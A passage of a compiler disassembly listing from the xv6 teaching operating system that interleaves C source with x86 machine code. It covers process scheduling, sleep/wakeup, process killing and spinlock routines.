80104ea0: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80104ea6: 8b 80 ac 00 00 00 mov 0xac(%eax),%eax
80104eac: 83 f8 01 cmp $0x1,%eax
80104eaf: 74 0c je 80104ebd <sched+0x3f>
panic("sched locks");
80104eb1: c7 04 24 c9 8c 10 80 movl $0x80108cc9,(%esp)
80104eb8: e8 7d b6 ff ff call 8010053a <panic>
if(proc->state == RUNNING)
80104ebd: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104ec3: 8b 40 0c mov 0xc(%eax),%eax
80104ec6: 83 f8 04 cmp $0x4,%eax
80104ec9: 75 0c jne 80104ed7 <sched+0x59>
panic("sched running");
80104ecb: c7 04 24 d5 8c 10 80 movl $0x80108cd5,(%esp)
80104ed2: e8 63 b6 ff ff call 8010053a <panic>
if(readeflags()&FL_IF)
80104ed7: e8 10 f4 ff ff call 801042ec <readeflags>
80104edc: 25 00 02 00 00 and $0x200,%eax
80104ee1: 85 c0 test %eax,%eax
80104ee3: 74 0c je 80104ef1 <sched+0x73>
panic("sched interruptible");
80104ee5: c7 04 24 e3 8c 10 80 movl $0x80108ce3,(%esp)
80104eec: e8 49 b6 ff ff call 8010053a <panic>
intena = cpu->intena;
80104ef1: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80104ef7: 8b 80 b0 00 00 00 mov 0xb0(%eax),%eax
80104efd: 89 45 f4 mov %eax,-0xc(%ebp)
swtch(&proc->context, cpu->scheduler);
80104f00: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80104f06: 8b 40 04 mov 0x4(%eax),%eax
80104f09: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx
80104f10: 83 c2 1c add $0x1c,%edx
80104f13: 89 44 24 04 mov %eax,0x4(%esp)
80104f17: 89 14 24 mov %edx,(%esp)
80104f1a: e8 2d 08 00 00 call 8010574c <swtch>
cpu->intena = intena;
80104f1f: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80104f25: 8b 55 f4 mov -0xc(%ebp),%edx
80104f28: 89 90 b0 00 00 00 mov %edx,0xb0(%eax)
}
80104f2e: c9 leave
80104f2f: c3 ret
80104f30 <yield>:
// Give up the CPU for one scheduling round.
void
yield(void)
{
80104f30: 55 push %ebp
80104f31: 89 e5 mov %esp,%ebp
80104f33: 83 ec 18 sub $0x18,%esp
acquire(&ptable.lock); //DOC: yieldlock
80104f36: c7 04 24 80 39 11 80 movl $0x80113980,(%esp)
80104f3d: e8 21 03 00 00 call 80105263 <acquire>
proc->state = RUNNABLE;
80104f42: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104f48: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax)
sched();
80104f4f: e8 2a ff ff ff call 80104e7e <sched>
release(&ptable.lock);
80104f54: c7 04 24 80 39 11 80 movl $0x80113980,(%esp)
80104f5b: e8 65 03 00 00 call 801052c5 <release>
}
80104f60: c9 leave
80104f61: c3 ret
80104f62 <forkret>:
// A fork child's very first scheduling by scheduler()
// will swtch here. "Return" to user space.
void
forkret(void)
{
80104f62: 55 push %ebp
80104f63: 89 e5 mov %esp,%ebp
80104f65: 83 ec 18 sub $0x18,%esp
static int first = 1;
// Still holding ptable.lock from scheduler.
release(&ptable.lock);
80104f68: c7 04 24 80 39 11 80 movl $0x80113980,(%esp)
80104f6f: e8 51 03 00 00 call 801052c5 <release>
if (first) {
80104f74: a1 08 c0 10 80 mov 0x8010c008,%eax
80104f79: 85 c0 test %eax,%eax
80104f7b: 74 0f je 80104f8c <forkret+0x2a>
// Some initialization functions must be run in the context
// of a regular process (e.g., they call sleep), and thus cannot
// be run from main().
first = 0;
80104f7d: c7 05 08 c0 10 80 00 movl $0x0,0x8010c008
80104f84: 00 00 00
initlog();
80104f87: e8 80 e2 ff ff call 8010320c <initlog>
}
// Return to "caller", actually trapret (see allocproc).
}
80104f8c: c9 leave
80104f8d: c3 ret
80104f8e <sleep>:
// Atomically release lock and sleep on chan.
// Reacquires lock when awakened.
void
sleep(void *chan, struct spinlock *lk)
{
80104f8e: 55 push %ebp
80104f8f: 89 e5 mov %esp,%ebp
80104f91: 83 ec 18 sub $0x18,%esp
if(proc == 0)
80104f94: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104f9a: 85 c0 test %eax,%eax
80104f9c: 75 0c jne 80104faa <sleep+0x1c>
panic("sleep");
80104f9e: c7 04 24 98 8c 10 80 movl $0x80108c98,(%esp)
80104fa5: e8 90 b5 ff ff call 8010053a <panic>
if(lk == 0)
80104faa: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
80104fae: 75 0c jne 80104fbc <sleep+0x2e>
panic("sleep without lk");
80104fb0: c7 04 24 f7 8c 10 80 movl $0x80108cf7,(%esp)
80104fb7: e8 7e b5 ff ff call 8010053a <panic>
// change p->state and then call sched.
// Once we hold ptable.lock, we can be
// guaranteed that we won't miss any wakeup
// (wakeup runs with ptable.lock locked),
// so it's okay to release lk.
if(lk != &ptable.lock){ //DOC: sleeplock0
80104fbc: 81 7d 0c 80 39 11 80 cmpl $0x80113980,0xc(%ebp)
80104fc3: 74 17 je 80104fdc <sleep+0x4e>
acquire(&ptable.lock); //DOC: sleeplock1
80104fc5: c7 04 24 80 39 11 80 movl $0x80113980,(%esp)
80104fcc: e8 92 02 00 00 call 80105263 <acquire>
release(lk);
80104fd1: 8b 45 0c mov 0xc(%ebp),%eax
80104fd4: 89 04 24 mov %eax,(%esp)
80104fd7: e8 e9 02 00 00 call 801052c5 <release>
}
// Go to sleep.
proc->chan = chan;
80104fdc: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104fe2: 8b 55 08 mov 0x8(%ebp),%edx
80104fe5: 89 50 20 mov %edx,0x20(%eax)
proc->state = SLEEPING;
80104fe8: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104fee: c7 40 0c 02 00 00 00 movl $0x2,0xc(%eax)
sched();
80104ff5: e8 84 fe ff ff call 80104e7e <sched>
// Tidy up.
proc->chan = 0;
80104ffa: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80105000: c7 40 20 00 00 00 00 movl $0x0,0x20(%eax)
// Reacquire original lock.
if(lk != &ptable.lock){ //DOC: sleeplock2
80105007: 81 7d 0c 80 39 11 80 cmpl $0x80113980,0xc(%ebp)
8010500e: 74 17 je 80105027 <sleep+0x99>
release(&ptable.lock);
80105010: c7 04 24 80 39 11 80 movl $0x80113980,(%esp)
80105017: e8 a9 02 00 00 call 801052c5 <release>
acquire(lk);
8010501c: 8b 45 0c mov 0xc(%ebp),%eax
8010501f: 89 04 24 mov %eax,(%esp)
80105022: e8 3c 02 00 00 call 80105263 <acquire>
}
}
80105027: c9 leave
80105028: c3 ret
80105029 <wakeup1>:
//PAGEBREAK!
// Wake up all processes sleeping on chan.
// The ptable lock must be held.
static void
wakeup1(void *chan)
{
80105029: 55 push %ebp
8010502a: 89 e5 mov %esp,%ebp
8010502c: 83 ec 10 sub $0x10,%esp
struct proc *p;
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
8010502f: c7 45 fc b4 39 11 80 movl $0x801139b4,-0x4(%ebp)
80105036: eb 27 jmp 8010505f <wakeup1+0x36>
if(p->state == SLEEPING && p->chan == chan)
80105038: 8b 45 fc mov -0x4(%ebp),%eax
8010503b: 8b 40 0c mov 0xc(%eax),%eax
8010503e: 83 f8 02 cmp $0x2,%eax
80105041: 75 15 jne 80105058 <wakeup1+0x2f>
80105043: 8b 45 fc mov -0x4(%ebp),%eax
80105046: 8b 40 20 mov 0x20(%eax),%eax
80105049: 3b 45 08 cmp 0x8(%ebp),%eax
8010504c: 75 0a jne 80105058 <wakeup1+0x2f>
p->state = RUNNABLE;
8010504e: 8b 45 fc mov -0x4(%ebp),%eax
80105051: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax)
static void
wakeup1(void *chan)
{
struct proc *p;
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
80105058: 81 45 fc 84 00 00 00 addl $0x84,-0x4(%ebp)
8010505f: 81 7d fc b4 5a 11 80 cmpl $0x80115ab4,-0x4(%ebp)
80105066: 72 d0 jb 80105038 <wakeup1+0xf>
if(p->state == SLEEPING && p->chan == chan)
p->state = RUNNABLE;
}
80105068: c9 leave
80105069: c3 ret
8010506a <wakeup>:
// Wake up all processes sleeping on chan.
void
wakeup(void *chan)
{
8010506a: 55 push %ebp
8010506b: 89 e5 mov %esp,%ebp
8010506d: 83 ec 18 sub $0x18,%esp
acquire(&ptable.lock);
80105070: c7 04 24 80 39 11 80 movl $0x80113980,(%esp)
80105077: e8 e7 01 00 00 call 80105263 <acquire>
wakeup1(chan);
8010507c: 8b 45 08 mov 0x8(%ebp),%eax
8010507f: 89 04 24 mov %eax,(%esp)
80105082: e8 a2 ff ff ff call 80105029 <wakeup1>
release(&ptable.lock);
80105087: c7 04 24 80 39 11 80 movl $0x80113980,(%esp)
8010508e: e8 32 02 00 00 call 801052c5 <release>
}
80105093: c9 leave
80105094: c3 ret
80105095 <kill>:
// Kill the process with the given pid.
// Process won't exit until it returns
// to user space (see trap in trap.c).
int
kill(int pid)
{
80105095: 55 push %ebp
80105096: 89 e5 mov %esp,%ebp
80105098: 83 ec 28 sub $0x28,%esp
struct proc *p;
acquire(&ptable.lock);
8010509b: c7 04 24 80 39 11 80 movl $0x80113980,(%esp)
801050a2: e8 bc 01 00 00 call 80105263 <acquire>
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
801050a7: c7 45 f4 b4 39 11 80 movl $0x801139b4,-0xc(%ebp)
801050ae: eb 44 jmp 801050f4 <kill+0x5f>
if(p->pid == pid){
801050b0: 8b 45 f4 mov -0xc(%ebp),%eax
801050b3: 8b 40 10 mov 0x10(%eax),%eax
801050b6: 3b 45 08 cmp 0x8(%ebp),%eax
801050b9: 75 32 jne 801050ed <kill+0x58>
p->killed = 1;
801050bb: 8b 45 f4 mov -0xc(%ebp),%eax
801050be: c7 40 24 01 00 00 00 movl $0x1,0x24(%eax)
// Wake process from sleep if necessary.
if(p->state == SLEEPING)
801050c5: 8b 45 f4 mov -0xc(%ebp),%eax
801050c8: 8b 40 0c mov 0xc(%eax),%eax
801050cb: 83 f8 02 cmp $0x2,%eax
801050ce: 75 0a jne 801050da <kill+0x45>
p->state = RUNNABLE;
801050d0: 8b 45 f4 mov -0xc(%ebp),%eax
801050d3: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax)
release(&ptable.lock);
801050da: c7 04 24 80 39 11 80 movl $0x80113980,(%esp)
801050e1: e8 df 01 00 00 call 801052c5 <release>
return 0;
801050e6: b8 00 00 00 00 mov $0x0,%eax
801050eb: eb 21 jmp 8010510e <kill+0x79>
kill(int pid)
{
struct proc *p;
acquire(&ptable.lock);
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
801050ed: 81 45 f4 84 00 00 00 addl $0x84,-0xc(%ebp)
801050f4: 81 7d f4 b4 5a 11 80 cmpl $0x80115ab4,-0xc(%ebp)
801050fb: 72 b3 jb 801050b0 <kill+0x1b>
p->state = RUNNABLE;
release(&ptable.lock);
return 0;
}
}
release(&ptable.lock);
801050fd: c7 04 24 80 39 11 80 movl $0x80113980,(%esp)
80105104: e8 bc 01 00 00 call 801052c5 <release>
return -1;
80105109: b8 ff ff ff ff mov $0xffffffff,%eax
}
8010510e: c9 leave
8010510f: c3 ret
80105110 <procdump>:
// Print a process listing to console. For debugging.
// Runs when user types ^P on console.
// No lock to avoid wedging a stuck machine further.
void
procdump(void)
{
80105110: 55 push %ebp
80105111: 89 e5 mov %esp,%ebp
80105113: 83 ec 58 sub $0x58,%esp
int i;
struct proc *p;
char *state;
uint pc[10];
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80105116: c7 45 f0 b4 39 11 80 movl $0x801139b4,-0x10(%ebp)
8010511d: e9 d9 00 00 00 jmp 801051fb <procdump+0xeb>
if(p->state == UNUSED)
80105122: 8b 45 f0 mov -0x10(%ebp),%eax
80105125: 8b 40 0c mov 0xc(%eax),%eax
80105128: 85 c0 test %eax,%eax
8010512a: 75 05 jne 80105131 <procdump+0x21>
continue;
8010512c: e9 c3 00 00 00 jmp 801051f4 <procdump+0xe4>
if(p->state >= 0 && p->state < NELEM(states) && states[p->state])
80105131: 8b 45 f0 mov -0x10(%ebp),%eax
80105134: 8b 40 0c mov 0xc(%eax),%eax
80105137: 83 f8 05 cmp $0x5,%eax
8010513a: 77 23 ja 8010515f <procdump+0x4f>
8010513c: 8b 45 f0 mov -0x10(%ebp),%eax
8010513f: 8b 40 0c mov 0xc(%eax),%eax
80105142: 8b 04 85 0c c0 10 80 mov -0x7fef3ff4(,%eax,4),%eax
80105149: 85 c0 test %eax,%eax
8010514b: 74 12 je 8010515f <procdump+0x4f>
state = states[p->state];
8010514d: 8b 45 f0 mov -0x10(%ebp),%eax
80105150: 8b 40 0c mov 0xc(%eax),%eax
80105153: 8b 04 85 0c c0 10 80 mov -0x7fef3ff4(,%eax,4),%eax
8010515a: 89 45 ec mov %eax,-0x14(%ebp)
8010515d: eb 07 jmp 80105166 <procdump+0x56>
else
state = "???";
8010515f: c7 45 ec 08 8d 10 80 movl $0x80108d08,-0x14(%ebp)
cprintf("%d %s %s", p->pid, state, p->name);
80105166: 8b 45 f0 mov -0x10(%ebp),%eax
80105169: 8d 50 6c lea 0x6c(%eax),%edx
8010516c: 8b 45 f0 mov -0x10(%ebp),%eax
8010516f: 8b 40 10 mov 0x10(%eax),%eax
80105172: 89 54 24 0c mov %edx,0xc(%esp)
80105176: 8b 55 ec mov -0x14(%ebp),%edx
80105179: 89 54 24 08 mov %edx,0x8(%esp)
8010517d: 89 44 24 04 mov %eax,0x4(%esp)
80105181: c7 04 24 0c 8d 10 80 movl $0x80108d0c,(%esp)
80105188: e8 13 b2 ff ff call 801003a0 <cprintf>
if(p->state == SLEEPING){
8010518d: 8b 45 f0 mov -0x10(%ebp),%eax
80105190: 8b 40 0c mov 0xc(%eax),%eax
80105193: 83 f8 02 cmp $0x2,%eax
80105196: 75 50 jne 801051e8 <procdump+0xd8>
getcallerpcs((uint*)p->context->ebp+2, pc);
80105198: 8b 45 f0 mov -0x10(%ebp),%eax
8010519b: 8b 40 1c mov 0x1c(%eax),%eax
8010519e: 8b 40 0c mov 0xc(%eax),%eax
801051a1: 83 c0 08 add $0x8,%eax
801051a4: 8d 55 c4 lea -0x3c(%ebp),%edx
801051a7: 89 54 24 04 mov %edx,0x4(%esp)
801051ab: 89 04 24 mov %eax,(%esp)
801051ae: e8 61 01 00 00 call 80105314 <getcallerpcs>
for(i=0; i<10 && pc[i] != 0; i++)
801051b3: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
801051ba: eb 1b jmp 801051d7 <procdump+0xc7>
cprintf(" %p", pc[i]);
801051bc: 8b 45 f4 mov -0xc(%ebp),%eax
801051bf: 8b 44 85 c4 mov -0x3c(%ebp,%eax,4),%eax
801051c3: 89 44 24 04 mov %eax,0x4(%esp)
801051c7: c7 04 24 15 8d 10 80 movl $0x80108d15,(%esp)
801051ce: e8 cd b1 ff ff call 801003a0 <cprintf>
else
state = "???";
cprintf("%d %s %s", p->pid, state, p->name);
if(p->state == SLEEPING){
getcallerpcs((uint*)p->context->ebp+2, pc);
for(i=0; i<10 && pc[i] != 0; i++)
801051d3: 83 45 f4 01 addl $0x1,-0xc(%ebp)
801051d7: 83 7d f4 09 cmpl $0x9,-0xc(%ebp)
801051db: 7f 0b jg 801051e8 <procdump+0xd8>
801051dd: 8b 45 f4 mov -0xc(%ebp),%eax
801051e0: 8b 44 85 c4 mov -0x3c(%ebp,%eax,4),%eax
801051e4: 85 c0 test %eax,%eax
801051e6: 75 d4 jne 801051bc <procdump+0xac>
cprintf(" %p", pc[i]);
}
cprintf("\n");
801051e8: c7 04 24 19 8d 10 80 movl $0x80108d19,(%esp)
801051ef: e8 ac b1 ff ff call 801003a0 <cprintf>
int i;
struct proc *p;
char *state;
uint pc[10];
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
801051f4: 81 45 f0 84 00 00 00 addl $0x84,-0x10(%ebp)
801051fb: 81 7d f0 b4 5a 11 80 cmpl $0x80115ab4,-0x10(%ebp)
80105202: 0f 82 1a ff ff ff jb 80105122 <procdump+0x12>
for(i=0; i<10 && pc[i] != 0; i++)
cprintf(" %p", pc[i]);
}
cprintf("\n");
}
}
80105208: c9 leave
80105209: c3 ret
8010520a: 66 90 xchg %ax,%ax
8010520c <readeflags>:
asm volatile("ltr %0" : : "r" (sel));
}
static inline uint
readeflags(void)
{
8010520c: 55 push %ebp
8010520d: 89 e5 mov %esp,%ebp
8010520f: 83 ec 10 sub $0x10,%esp
uint eflags;
asm volatile("pushfl; popl %0" : "=r" (eflags));
80105212: 9c pushf
80105213: 58 pop %eax
80105214: 89 45 fc mov %eax,-0x4(%ebp)
return eflags;
80105217: 8b 45 fc mov -0x4(%ebp),%eax
}
8010521a: c9 leave
8010521b: c3 ret
8010521c <cli>:
asm volatile("movw %0, %%gs" : : "r" (v));
}
static inline void
cli(void)
{
8010521c: 55 push %ebp
8010521d: 89 e5 mov %esp,%ebp
asm volatile("cli");
8010521f: fa cli
}
80105220: 5d pop %ebp
80105221: c3 ret
80105222 <sti>:
static inline void
sti(void)
{
80105222: 55 push %ebp
80105223: 89 e5 mov %esp,%ebp
asm volatile("sti");
80105225: fb sti
}
80105226: 5d pop %ebp
80105227: c3 ret
80105228 <xchg>:
static inline uint
xchg(volatile uint *addr, uint newval)
{
80105228: 55 push %ebp
80105229: 89 e5 mov %esp,%ebp
8010522b: 83 ec 10 sub $0x10,%esp
uint result;
// The + in "+m" denotes a read-modify-write operand.
asm volatile("lock; xchgl %0, %1" :
8010522e: 8b 55 08 mov 0x8(%ebp),%edx
80105231: 8b 45 0c mov 0xc(%ebp),%eax
80105234: 8b 4d 08 mov 0x8(%ebp),%ecx
80105237: f0 87 02 lock xchg %eax,(%edx)
8010523a: 89 45 fc mov %eax,-0x4(%ebp)
"+m" (*addr), "=a" (result) :
"1" (newval) :
"cc");
return result;
8010523d: 8b 45 fc mov -0x4(%ebp),%eax
}
80105240: c9 leave
80105241: c3 ret
80105242 <initlock>:
#include "proc.h"
#include "spinlock.h"
void
initlock(struct spinlock *lk, char *name)
{
80105242: 55 push %ebp
80105243: 89 e5 mov %esp,%ebp
lk->name = name;
80105245: 8b 45 08 mov 0x8(%ebp),%eax
80105248: 8b 55 0c mov 0xc(%ebp),%edx
8010524b: 89 50 04 mov %edx,0x4(%eax)
lk->locked = 0;
8010524e: 8b 45 08 mov 0x8(%ebp),%eax
80105251: c7 00 00 00 00 00 movl $0x0,(%eax)
lk->cpu = 0;
80105257: 8b 45 08 mov 0x8(%ebp),%eax
8010525a: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax)
}
80105261: 5d pop %ebp
80105262: c3 ret
80105263 <acquire>:
// Loops (spins) until the lock is acquired.
// Holding a lock for a long time may cause
// other CPUs to waste time spinning to acquire it.
void
acquire(struct spinlock *lk)
{
80105263: 55 push %ebp
80105264: 89 e5 mov %esp,%ebp
80105266: 83 ec 18 sub $0x18,%esp
pushcli(); // disable interrupts to avoid deadlock.
80105269: e8 49 01 00 00 call 801053b7 <pushcli>
if(holding(lk))
8010526e: 8b 45 08 mov 0x8(%ebp),%eax
80105271: 89 04 24 mov %eax,(%esp)
80105274: e8 14 01 00 00 call 8010538d <holding>
80105279: 85 c0 test %eax,%eax
8010527b: 74 0c je 80105289 <acquire+0x26>
panic("acquire");
8010527d: c7 04 24 45 8d 10 80 movl $0x80108d45,(%esp)
80105284: e8 b1 b2 ff ff call 8010053a <panic>
// The xchg is atomic.
// It also serializes, so that reads after acquire are not
// reordered before it.
while(xchg(&lk->locked, 1) != 0)
80105289: 90 nop
8010528a: 8b 45 08 mov 0x8(%ebp),%eax
8010528d: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
80105294: 00
80105295: 89 04 24 mov %eax,(%esp)
80105298: e8 8b ff ff ff call 80105228 <xchg>
8010529d: 85 c0 test %eax,%eax
8010529f: 75 e9 jne 8010528a <acquire+0x27>
;
// Record info about lock acquisition for debugging.
lk->cpu = cpu;
801052a1: 8b 45 08 mov 0x8(%ebp),%eax
801052a4: 65 8b 15 00 00 00 00 mov %gs:0x0,%edx
801052ab: 89 50 08 mov %edx,0x8(%eax)
getcallerpcs(&lk, lk->pcs);
801052ae: 8b 45 08 mov 0x8(%ebp),%eax
801052b1: 83 c0 0c add $0xc,%eax
801052b4: 89 44 24 04 mov %eax,0x4(%esp)
801052b8: 8d 45 08 lea 0x8(%ebp),%eax
801052bb: 89 04 24 mov %eax,(%esp)
801052be: e8 51 00 00 00 call 80105314 <getcallerpcs>
}
801052c3: c9 leave
801052c4: c3 ret
801052c5 <release>:
// Release the lock.
void
release(struct spinlock *lk)
{
801052c5: 55 push %ebp
801052c6: 89 e5 mov %esp,%ebp
801052c8: 83 ec 18 sub $0x18,%esp
if(!holding(lk))
801052cb: 8b 45 08 mov 0x8(%ebp),%eax
801052ce: 89 04 24 mov %eax,(%esp)
801052d1: e8 b7 00 00 00 call 8010538d <holding>
801052d6: 85 c0 test %eax,%eax
801052d8: 75 0c jne 801052e6 <release+0x21>
panic("release");
801052da: c7 04 24 4d 8d 10 80 movl $0x80108d4d,(%esp)
801052e1: e8 54 b2 ff ff call 8010053a <panic>
lk->pcs[0] = 0;
801052e6: 8b 45 08 mov 0x8(%ebp),%eax
801052e9: c7 40 0c 00 00 00 00 movl $0x0,0xc(%eax)
lk->cpu = 0;
801052f0: 8b 45 08 mov 0x8(%ebp),%eax
801052f3: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax)
// But the 2007 Intel 64 Architecture Memory Ordering White
// Paper says that Intel 64 and IA-32 will not move a load
// after a store. So lock->locked = 0 would work here.
// The xchg being asm volatile ensures gcc emits it after
// the above assignments (and after the critical section).
xchg(&lk->locked, 0);
801052fa: 8b 45 08 mov 0x8(%ebp),%eax
801052fd: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80105304: 00
80105305: 89 04 24 mov %eax,(%esp)
80105308: e8 1b ff ff ff call 80105228 <xchg>
popcli();
8010530d: e8 e9 00 00 00 call 801053fb <popcli>
}
80105312: c9 leave
80105313: c3 ret
80105314 <getcallerpcs>:
// Record the current call stack in pcs[] by following the %ebp chain.
void
getcallerpcs(void *v, uint pcs[])
{
80105314: 55 push %ebp
80105315: 89 e5 mov %esp,%ebp
80105317: 83 ec 10 sub $0x10,%esp
uint *ebp;
int i;
ebp = (uint*)v - 2;
8010531a: 8b 45 08 mov 0x8(%ebp),%eax
8010531d: 83 e8 08 sub $0x8,%eax
80105320: 89 45 fc mov %eax,-0x4(%ebp)
for(i = 0; i < 10; i++){
80105323: c7 45 f8 00 00 00 00 movl $0x0,-0x8(%ebp)
8010532a: eb 38 jmp 80105364 <getcallerpcs+0x50>
if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff)
8010532c: 83 7d fc 00 cmpl $0x0,-0x4(%ebp)
80105330: 74 38 je 8010536a <getcallerpcs+0x56>
80105332: 81 7d fc ff ff ff 7f cmpl $0x7fffffff,-0x4(%ebp)
80105339: 76 2f jbe 8010536a <getcallerpcs+0x56>
8010533b: 83 7d fc ff cmpl $0xffffffff,-0x4(%ebp)
8010533f: 74 29 je 8010536a <getcallerpcs+0x56>
break;
pcs[i] = ebp[1]; // saved %eip
80105341: 8b 45 f8 mov -0x8(%ebp),%eax
80105344: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
8010534b: 8b 45 0c mov 0xc(%ebp),%eax
8010534e: 01 c2 add %eax,%edx
80105350: 8b 45 fc mov -0x4(%ebp),%eax
80105353: 8b 40 04 mov 0x4(%eax),%eax
80105356: 89 02 mov %eax,(%edx)
ebp = (uint*)ebp[0]; // saved %ebp
80105358: 8b 45 fc mov -0x4(%ebp),%eax
8010535b: 8b 00 mov (%eax),%eax
8010535d: 89 45 fc mov %eax,-0x4(%ebp)
{
uint *ebp;
int i;
ebp = (uint*)v - 2;
for(i = 0; i < 10; i++){
80105360: 83 45 f8 01 addl $0x1,-0x8(%ebp)
80105364: 83 7d f8 09 cmpl $0x9,-0x8(%ebp)
80105368: 7e c2 jle 8010532c <getcallerpcs+0x18>
if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff)
break;
pcs[i] = ebp[1]; // saved %eip
ebp = (uint*)ebp[0]; // saved %ebp
}
for(; i < 10; i++)
8010536a: eb 19 jmp 80105385 <getcallerpcs+0x71>
pcs[i] = 0;
8010536c: 8b 45 f8 mov -0x8(%ebp),%eax
8010536f: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
80105376: 8b 45 0c mov 0xc(%ebp),%eax
80105379: 01 d0 add %edx,%eax
8010537b: c7 00 00 00 00 00 movl $0x0,(%eax)
if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff)
break;
pcs[i] = ebp[1]; // saved %eip
ebp = (uint*)ebp[0]; // saved %ebp
}
for(; i < 10; i++)
80105381: 83 45 f8 01 addl $0x1,-0x8(%ebp)
80105385: 83 7d f8 09 cmpl $0x9,-0x8(%ebp)
80105389: 7e e1 jle 8010536c <getcallerpcs+0x58>
pcs[i] = 0;
}
8010538b: c9 leave
8010538c: c3 ret
8010538d <holding>:
// Check whether this cpu is holding the lock.
int
holding(struct spinlock *lock)
{
8010538d: 55 push %ebp
8010538e: 89 e5 mov %esp,%ebp
return lock->locked && lock->cpu == cpu;
80105390: 8b 45 08 mov 0x8(%ebp),%eax
80105393: 8b 00 mov (%eax),%eax
80105395: 85 c0 test %eax,%eax
80105397: 74 17 je 801053b0 <holding+0x23>
80105399: 8b 45 08 mov 0x8(%ebp),%eax
8010539c: 8b 50 08 mov 0x8(%eax),%edx
8010539f: 65 a1 00 00 00 00 mov %gs:0x0,%eax
801053a5: 39 c2 cmp %eax,%edx
801053a7: 75 07 jne 801053b0 <holding+0x23>
801053a9: b8 01 00 00 00 mov $0x1,%eax
801053ae: eb 05 jmp 801053b5 <holding+0x28>
801053b0: b8 00 00 00 00 mov $0x0,%eax
}
801053b5: 5d pop %ebp
801053b6: c3 ret
801053b7 <pushcli>:
// it takes two popcli to undo two pushcli. Also, if interrupts
// are off, then pushcli, popcli leaves them off.
void
pushcli(void)
{
801053b7: 55 push %ebp
801053b8: 89 e5 mov %esp,%ebp
801053ba: 83 ec 10 sub $0x10,%esp
int eflags;
eflags = readeflags();
801053bd: e8 4a fe ff ff call 8010520c <readeflags>
801053c2: 89 45 fc mov %eax,-0x4(%ebp)
cli();
801053c5: e8 52 fe ff ff call 8010521c <cli>
if(cpu->ncli++ == 0)
801053ca: 65 8b 15 00 00 00 00 mov %gs:0x0,%edx
801053d1: 8b 82 ac 00 00 00 mov 0xac(%edx),%eax
801053d7: 8d 48 01 lea 0x1(%eax),%ecx
801053da: 89 8a ac 00 00 00 mov %ecx,0xac(%edx)
801053e0: 85 c0 test %eax,%eax
801053e2: 75 15 jne 801053f9 <pushcli+0x42>
cpu->intena = eflags & FL_IF;
801053e4: 65 a1 00 00 00 00 mov %gs:0x0,%eax
801053ea: 8b 55 fc mov -0x4(%ebp),%edx
801053ed: 81 e2 00 02 00 00 and $0x200,%edx
801053f3: 89 90 b0 00 00 00 mov %edx,0xb0(%eax)
}
801053f9: c9 leave
801053fa: c3 ret
801053fb <popcli>:
void
popcli(void)
{
801053fb: 55 push %ebp
801053fc: 89 e5 mov %esp,%ebp
801053fe: 83 ec 18 sub $0x18,%esp
if(readeflags()&FL_IF)
80105401: e8 06 fe ff ff call 8010520c <readeflags>
80105406: 25 00 02 00 00 and $0x200,%eax
8010540b: 85 c0 test %eax,%eax
8010540d: 74 0c je 8010541b <popcli+0x20>
panic("popcli - interruptible");
8010540f: c7 04 24 55 8d 10 80 movl $0x80108d55,(%esp)
80105416: e8 1f b1 ff ff call 8010053a <panic>
if(--cpu->ncli < 0)
8010541b: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80105421: 8b 90 ac 00 00 00 mov 0xac(%eax),%edx
80105427: 83 ea 01 sub $0x1,%edx
8010542a: 89 90 ac 00 00 00 mov %edx,0xac(%eax)
80105430: 8b 80 ac 00 00 00 mov 0xac(%eax),%eax
80105436: 85 c0 test %eax,%eax
80105438: 79 0c jns 80105446 <popcli+0x4b>
panic("popcli");
8010543a: c7 04 24 6c 8d 10 80 movl $0x80108d6c,(%esp)
80105441: e8 f4 b0 ff ff call 8010053a <panic>
if(cpu->ncli == 0 && cpu->intena)
80105446: 65 a1 00 00 00 00 mov %gs:0x0,%eax
8010544c: 8b 80 ac 00 00 00 mov 0xac(%eax),%eax
80105452: 85 c0 test %eax,%eax
80105454: 75 15 jne 8010546b <popcli+0x70>
80105456: 65 a1 00 00 00 00 mov %gs:0x0,%eax
8010545c: 8b 80 b0 00 00 00 mov 0xb0(%eax),%eax
80105462: 85 c0 test %eax,%eax
80105464: 74 05 je 8010546b <popcli+0x70>
sti();
80105466: e8 b7 fd ff ff call 80105222 <sti>
}
8010546b: c9 leave
8010546c: c3 ret
8010546d: 66 90 xchg %ax,%ax
8010546f: 90 nop
80105470 <stosb>:
"cc");
}
static inline void
stosb(void *addr, int data, int cnt)
{
80105470: 55 push %ebp
80105471: 89 e5 mov %esp,%ebp
80105473: 57 push %edi
80105474: 53 push %ebx
asm volatile("cld; rep stosb" :
80105475: 8b 4d 08 mov 0x8(%ebp),%ecx
80105478: 8b 55 10 mov 0x10(%ebp),%edx
8010547b: 8b 45 0c mov 0xc(%ebp),%eax
8010547e: 89 cb mov %ecx,%ebx
80105480: 89 df mov %ebx,%edi
